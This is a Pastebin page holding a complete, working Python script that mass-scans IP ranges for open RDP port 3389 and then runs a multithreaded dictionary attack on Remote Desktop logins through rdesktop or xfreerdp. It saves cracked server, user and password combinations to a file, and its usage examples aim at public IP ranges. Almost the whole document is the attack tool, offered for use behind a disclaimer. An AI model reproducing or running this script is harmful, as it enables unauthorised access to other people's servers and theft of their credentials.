Advertisement
cmiN

rdpb

May 22nd, 2012
741
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 15.31 KB | None | 0 0
  1. #! /usr/bin/env python
  2. # RDP Dictionary Attack
  3. # 21.05.2012 cmiN
  4. #
  5. # THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY
  6. # I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM
  7. #
  8. # Connect with rdesktop, xfreerdp or something similar using
  9. # servers, users and passwords from files.
  10. # After checking if the port is opened, the wrapper opens a shell console
  11. # executing the client with data from input files. In the meantime
  12. # a local socket is accepting connections from the target and if the link
  13. # is established then the user and password for that server are a match.
  14. #
  15. # You need rdesktop/xfreerdp (sudo apt-get/yum/equo install rdesktop/freerdp).
  16. # On gentoo based systems use emerge to find and install the newest packages.
  17. # Contact: cmin764@yahoo/gmail.com
  18.  
  19.  
  20. from sys import argv, platform
  21. from threading import Thread, active_count, Lock
  22. from subprocess import Popen
  23. from socket import *
  24.  
  25.  
  26. # defaults
  27. THRD = 4 # how many threads for crack phase
  28. TOUT = 6.0 # timeout in seconds
  29. # get global host ip
  30. try:
  31.     sock = socket(AF_INET, SOCK_STREAM)
  32.     sock.connect(("www.google.com", 80)) # assuming google works
  33. except error as excp: # error from socket (timed out or invalid server)
  34.     print "Check your internet connection: %s." % excp
  35.     exit()
  36. else:
  37.     HOST = sock.getsockname()[0]
  38. finally:
  39.     sock.close()
  40.     del sock
  41. PORT = 51337 # used for local listening
  42. # attack modes
  43. RDP1 = ["rdesktop", "-u", "{user}", "-p", "{password}", "-s", "telnet {host} {port}",
  44.         "-g", "1x1", "-a", "8", "-x", "m", "-z", "-m", "{server}"]
  45. RDP2 = ["xfreerdp", "-u", "{user}", "-p", "{password}", "-s", "telnet {host} {port}",
  46.         "-g", "1x1", "-a", "8", "-x", "m", "-z", "--no-motion", "{server}"]
  47. VERB = False # verbose
  48. METH = "r" # RDP1
  49. USER = ["Administrator"]
  50. SAFE = True
  51. SWTC = True
  52. LIMT = None # attacks (test only, None -> unlimited)
  53.  
  54.  
  55. class Engine:
  56.     """Main class used to find and crack servers with desired options.
  57.    For more info see usage from the bottom of the script.
  58.    It executes commands through subprocess and waits for replies within timeout.
  59.    """
  60.  
  61.     def __init__(self, threads, timeout, host, port, rdp1, rdp2, verbose, method, usr, safe, switch):
  62.         """Copy global options and prepare the core."""
  63.         self.cli = True # activate print/stdout (set to False if a GUI is used)
  64.         self.threads = threads
  65.         self.timeout = timeout
  66.         self.host = host
  67.         self.port = port
  68.         self.rdp1 = rdp1
  69.         self.rdp2 = rdp2
  70.         self.verbose = verbose
  71.         self.sockets = dict() # D[x] = True if x is available otherwise False
  72.         self.pos = list() # list with indexes (user, password, server, telnet)
  73.         self.usr = usr
  74.         self.pwd = None
  75.         self.srv = None
  76.         # set the command used for scanning
  77.         if method == "x":
  78.             self.command = self.rdp2
  79.         else:
  80.             self.command = self.rdp1
  81.         # default: don't save
  82.         self.working = None
  83.         self.cracked = None
  84.         self.good = list() # rdp servers
  85.         self.delete = set() # dispose of cracked servers
  86.         self.lock = Lock() # global printing thread synchronization
  87.         self.sock_mutex = Lock() # for localhost socket use
  88.         if "linux" in platform:
  89.             self.null = open("/dev/null", "w")
  90.         else:
  91.             self.null = open("NUL", "w")
  92.         self.safe = safe
  93.         self.switch = switch
  94.  
  95.     def __del__(self):
  96.         """Destructor."""
  97.         if hasattr(self.srv, "close"):
  98.             self.srv.close()
  99.         if hasattr(self.usr, "close"):
  100.             self.usr.close()
  101.         if self.pwd:
  102.             self.pwd.close()
  103.         if self.working:
  104.             self.working.close()
  105.         if self.cracked:
  106.             self.cracked.close()
  107.         for sock in self.sockets:
  108.             sock.shutdown(SHUT_RDWR)
  109.             sock.close()
  110.  
  111.     def generator(self, src, dest):
  112.         """Just like grandpa's old mileage meter :]."""
  113.         temp = "%d.%d.%d.%d"
  114.         byte = 256
  115.         yield temp % tuple(src) # yield -> the beauty of python
  116.         while (src != dest):    # like return but continue
  117.             src[3] += 1
  118.             if src[3] == byte:
  119.                 src[3] = 0
  120.                 src[2] += 1
  121.                 if src[2] == byte:
  122.                     src[2] = 0
  123.                     src[1] += 1
  124.                     if src[1] == byte:
  125.                         src[1] = 0
  126.                         src[0] += 1
  127.             yield temp % tuple(src)
  128.  
  129.     def set_threads(self, threads):
  130.         self.threads = threads
  131.  
  132.     def set_safe(self, safe):
  133.         self.safe = safe
  134.  
  135.     def set_switch(self, switch):
  136.         self.switch = switch
  137.  
  138.     def set_timeout(self, timeout):
  139.         self.timeout = timeout
  140.  
  141.     def set_verbose(self, verbose):
  142.         self.verbose = verbose
  143.  
  144.     def set_method(self, method):
  145.         if method == "x":
  146.             self.command = self.rdp2
  147.         else:
  148.             self.command = self.rdp1
  149.  
  150.     def set_usr(self, usr):
  151.         """If this is called, then the users are taken from a file."""
  152.         self.usr = open(usr, "r") # do not use the generic one
  153.  
  154.     def set_pwd(self, pwd):
  155.         """The file with passwords is mandatory."""
  156.         self.pwd = open(pwd, "r")
  157.  
  158.     def set_srv(self, srv):
  159.         """Make a file object or range generator from argument."""
  160.         if srv.find("-") == -1: # not found -> not range
  161.             self.srv = open(srv, "r")
  162.         else:
  163.             chunks = srv.split("-")
  164.             src, dest = chunks[0].split("."), chunks[1].split(".")
  165.             for i in xrange(4):
  166.                 src[i] = int(src[i])
  167.                 dest[i] = int(dest[i])
  168.             self.srv = self.generator(src, dest)
  169.  
  170.     def set_working(self, working):
  171.         """Save progress in scan phase."""
  172.         self.working = open(working, "a") # safe append
  173.  
  174.     def set_cracked(self, cracked):
  175.         """Save progress in crack phase."""
  176.         self.cracked = open(cracked, "a")
  177.  
  178.     def scan_server(self, server):
  179.         """Check if the rdp port is opened on the specified server."""
  180.         try:
  181.             # create the socket and connect
  182.             sock = socket(AF_INET, SOCK_STREAM)
  183.             sock.connect((server, 3389))
  184.         except error:
  185.             # timed out in most cases
  186.             if self.verbose:
  187.                 self.lock.acquire()
  188.                 if self.cli:
  189.                     print "[-] %s [NO]" % server # only with -v
  190.                 self.lock.release()
  191.         else:
  192.             # good news everyone
  193.             self.lock.acquire()
  194.             if self.cli:
  195.                 print "[+] %s [OK]" % server
  196.             self.good.append(server)
  197.             if self.working:
  198.                 self.working.write(server + "\n")
  199.                 self.working.flush()
  200.             self.lock.release()
  201.         finally:
  202.             sock.close()
  203.  
  204.     def scan(self):
  205.         """Just like a port scanner for 3389."""
  206.         setdefaulttimeout(self.timeout / 10.0) # 10%
  207.         for server in self.srv:
  208.             while active_count() > self.threads * 16:
  209.                 pass # do not exceed number of threads
  210.             if self.switch: # scan them
  211.                 # now call the method in a separate thread
  212.                 Thread(target=self.scan_server, args=[server.strip()]).start()
  213.             else: # or skip the scan
  214.                 self.good.append(server.strip())
  215.         while active_count() > 1:
  216.             pass # join all
  217.  
  218.     def acquire_sock(self):
  219.         for sock, state in self.sockets.iteritems():
  220.             if state: # available
  221.                 self.sockets[sock] = False # use it
  222.                 return sock
  223.  
  224.     def release_sock(self, sock):
  225.         self.sockets[sock] = True
  226.  
  227.     def crack_server(self, command):
  228.         try:
  229.             # get a server
  230.             self.sock_mutex.acquire()
  231.             sock = self.acquire_sock()
  232.             self.sock_mutex.release()
  233.             command[self.pos[3]] = command[self.pos[3]].format(port=sock.getsockname()[1])
  234.             child = Popen(command, stdout=self.null, stderr=self.null) # no wait
  235.             sock.accept() # here is the big overhead
  236.         except error as excp:
  237.             # timed out
  238.             if self.verbose:
  239.                 self.lock.acquire()
  240.                 if self.cli:
  241.                     print "[-] %s %s %s [NO]" % (command[self.pos[2]], command[self.pos[0]],
  242.                                                   command[self.pos[1]])
  243.                 self.lock.release()
  244.         else:
  245.             # good news again
  246.             show = "%s %s %s" % (command[self.pos[2]], command[self.pos[0]], command[self.pos[1]])
  247.             self.delete.add(command[self.pos[2]]) # cracked! no need to process again
  248.             self.lock.acquire()
  249.             if self.cli:
  250.                 print "[+] " + show + " [OK]"
  251.             if self.cracked:
  252.                 self.cracked.write(show + "\n")
  253.                 self.cracked.flush()
  254.             self.lock.release()
  255.         finally:
  256.             child.kill()
  257.             # do not close it, instead release it for further use
  258.             self.release_sock(sock) # O(1) and can't affect the same socket
  259.  
  260.     def crack(self):
  261.         """For each user take each password and test them with each working server."""
  262.         goodLen = len(self.good)
  263.         if goodLen == 0:
  264.             if self.cli:
  265.                 print "[!] No servers to crack."
  266.             return
  267.         if self.safe: # avoid deadlocks or strange behavior
  268.             self.set_threads(min(self.threads, goodLen))
  269.         users = [line.strip() for line in self.usr]
  270.         passwords = [line.strip() for line in self.pwd]
  271.         if self.cli:
  272.             print "[i] Cracking %d hosts in %fs." % (goodLen, float(len(users)) * len(passwords) *
  273.                                                      goodLen * self.timeout / self.threads)
  274.         setdefaulttimeout(self.timeout) # now use the real timeout
  275.         # prepare the sockets
  276.         for port in xrange(self.threads):
  277.             sock = socket(AF_INET, SOCK_STREAM)
  278.             sock.settimeout(self.timeout)
  279.             sock.bind((self.host, self.port + port))
  280.             sock.listen(1)
  281.             self.sockets[sock] = True
  282.         # init command template
  283.         command = self.command
  284.         shellIndex = command.index("telnet {host} {port}")
  285.         command[shellIndex] = command[shellIndex].format(host=self.host, port="{port}")
  286.         self.pos = [command.index("{user}"), command.index("{password}"),
  287.                     command.index("{server}"), shellIndex]
  288.         attacks = 0
  289.         for user in users:
  290.             command[self.pos[0]] = user
  291.             for password in passwords:
  292.                 command[self.pos[1]] = password
  293.                 for server in self.good:
  294.                     command[self.pos[2]] = server
  295.                     while active_count() > self.threads:
  296.                         pass # do not exceed number of threads
  297.                     attacks += 1
  298.                     if LIMT and attacks > LIMT:
  299.                         if self.cli:
  300.                             print "[!] Limit reached, buy the script."
  301.                         return
  302.                     # now call the method in a separate thread
  303.                     Thread(target=self.crack_server, args=[command[:]]).start()
  304.                 for server in self.delete: # N^2 can be reduced to NlogN with set
  305.                     self.good.remove(server) # and also to N with index memorization
  306.                 self.delete.clear()
  307.         while active_count() > 1:
  308.             pass # join all
  309.  
  310.  
  311. def parse():
  312.     at = 1
  313.     params = list()
  314.     while at < argc:
  315.         if argv[at] in ("-h", "--help"):
  316.             print usage
  317.             exit() # do not start the process
  318.         elif argv[at] in ("-v", "--verbose"):
  319.             app.set_verbose(True)
  320.         elif argv[at] in ("-t", "--threads"):
  321.             at += 1
  322.             app.set_threads(int(argv[at]))
  323.         elif argv[at] in ("-T", "--timeout"):
  324.             at += 1
  325.             app.set_timeout(float(argv[at]))
  326.         elif argv[at] in ("-m", "--method"):
  327.             at += 1
  328.             app.set_method(argv[at])
  329.         elif argv[at] in ("-w", "--working"):
  330.             at += 1
  331.             app.set_working(argv[at])
  332.         elif argv[at] in ("-c", "--cracked"):
  333.             at += 1
  334.             app.set_cracked(argv[at])
  335.         elif argv[at] in ("-s", "--safe-off"):
  336.             app.set_safe(False)
  337.         elif argv[at] in ("-n", "--no-scan"):
  338.             app.set_switch(False)
  339.         else:
  340.             if argv[at][0] == "-":
  341.                 raise Exception("Invalid option")
  342.             params.append(argv[at])
  343.         at += 1
  344.     pLen = len(params)
  345.     if pLen not in (2, 3):
  346.         raise Exception("Invalid number of parameters")
  347.     app.set_srv(params[-1])
  348.     app.set_pwd(params[-2])
  349.     if pLen == 3:
  350.         app.set_usr(params[-3]) # same index as 0
  351.  
  352.  
  353. def main():
  354.     try:
  355.         if argc == 1:
  356.             # show a message or start the GUI which is missing :)
  357.             print "You should run: %s --help" % argv[0]
  358.             exit()
  359.         # or parse the arguments
  360.         parse()
  361.         # and start the scanner
  362.         print "[i] Scan phase started."
  363.         app.scan() # filter the input for working rdp servers
  364.         print "[i] Crack phase started."
  365.         app.crack() # crack them
  366.     except Exception as excp:
  367.         print "[x] Error: %s." % excp
  368.     except KeyboardInterrupt:
  369.         print "[!] Stopped."
  370.     else:
  371.         print "[i] Finished."
  372.  
  373.  
  374. if __name__ == "__main__":
  375.     argc = len(argv)
  376.     usage = """
  377. Usage: {0} [options] [usr] pwd srv
  378.  
  379. Options:
  380.    -t, --threads <number>     number of threads (parallel connections)
  381.    -s, --safe-off             by default the number of threads is reduced
  382.                               to the number of working servers if it's greater
  383.                               use this option to keep the number of threads
  384.    -T, --timeout <seconds>    waiting response time for each connection
  385.    -m, --method <r/x>         use [r]desktop or [x]freerdp
  386.    -w, --working <file>       file used to store servers with 3389 opened
  387.    -c, --cracked <file>       file used to store cracked servers
  388.    -n, --no-scan              skip scan phase asumming all servers are working rdps
  389.    -v, --verbose              show extra information (default off)
  390.    -h, --help                 show this help
  391.  
  392. Parameters:
  393.    usr                        users file (default users: {1})
  394.    pwd                        passwords file
  395.    srv                        servers file or range (abc.def.ghi.jkl-mno.pqr.stu.vwx)
  396.  
  397. Examples:
  398.    {0} -c cracked.txt passwords.txt 68.195.205.60-68.195.211.60
  399.    {0} -w good.txt --timeout 2 -s pass.txt 91.202.91.119-91.202.94.15
  400.    {0} -t 256 -T 5 -v -c cracked.txt -n users.txt pass.txt good.txt
  401.  
  402. Users, passwords and working servers are loaded into memory.
  403. Be aware to not open a file for both read and write. More exactly do not use
  404. the same file name with `-w`/`-c` and `srv`.
  405.  
  406. THIS SCRIPT IS INTENDED FOR PERSONAL AND LIMITED PURPOSES ONLY
  407. I AM NOT RESPONSIBLE FOR ANY LEGAL OR ILLEGAL USE OF THIS PROGRAM
  408.  
  409. Send bugs to cmin764@yahoo/gmail.com.
  410. """.format(argv[0], USER)
  411.     app = Engine(THRD, TOUT, HOST, PORT, RDP1, RDP2, VERB, METH, USER, SAFE, SWTC)
  412.     main()
  413.     del app
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement